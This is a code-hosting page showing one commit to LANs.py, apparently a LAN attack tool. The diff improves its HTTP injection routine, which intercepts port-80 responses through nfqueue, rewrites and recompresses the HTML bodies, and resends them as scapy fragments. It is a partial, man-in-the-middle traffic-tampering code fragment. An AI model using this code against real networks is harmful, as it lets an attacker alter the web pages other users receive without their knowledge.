github/LANs.py
1
0
Fork 0
mirror of https://github.com/DanMcInerney/LANs.py.git synced 2025-08-20 13:33:28 -07:00
Code Issues Projects Releases Packages Wiki Activity Actions

improved HTML injection reliability - how did I not know about scapys fragment() function...

Browse source
This commit is contained in:
DanMcInerney 2014-03-11 04:16:58 -04:00
commit 791d794b38
1 changed files with 4 additions and 6 deletions
Download patch file Download diff file Expand all files Collapse all files

10
LANs.py
View file

@ -243,7 +243,7 @@ class Parser():
return return
if sport == 80 and self.html_url and 'Content-Type: text/html' in headers: if sport == 80 and self.html_url and 'Content-Type: text/html' in headers:
# This can be done better, probably using filter() # This can be done better, probably using filter(), no make them a dictionary and use del
header_lines = [x for x in header_lines if 'transfer-encoding' not in x.lower()] header_lines = [x for x in header_lines if 'transfer-encoding' not in x.lower()]
for h in header_lines: for h in header_lines:
if '1.1 302' in h or '1.1 301' in h: # Allow redirects to go thru unperturbed if '1.1 302' in h or '1.1 301' in h: # Allow redirects to go thru unperturbed
@ -292,9 +292,6 @@ class Parser():
# Recompress data if necessary # Recompress data if necessary
if 'Content-Encoding: gzip' in headers: if 'Content-Encoding: gzip' in headers:
if body != '': if body != '':
# debugger = open('injectedBody', 'w') #########################################
# debugger.write(body) #########################################
# debugger.close() #########################################
try: try:
comp_body = StringIO() comp_body = StringIO()
f = gzip.GzipFile(fileobj=comp_body, mode='w', compresslevel = 9) f = gzip.GzipFile(fileobj=comp_body, mode='w', compresslevel = 9)
@ -323,8 +320,9 @@ class Parser():
del pkt[TCP].chksum del pkt[TCP].chksum
try: try:
payload.set_verdict(nfqueue.NF_DROP) payload.set_verdict(nfqueue.NF_DROP)
send(pkt) pkt_frags = fragment(pkt)
# payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt)) for p in pkt_frags:
send(p)
print R+'[!] Injected HTML into packet for '+W+self.html_url print R+'[!] Injected HTML into packet for '+W+self.html_url
logger.write('[!] Injected HTML into packet for '+self.html_url) logger.write('[!] Injected HTML into packet for '+self.html_url)
self.block_acks.append(ack) self.block_acks.append(ack)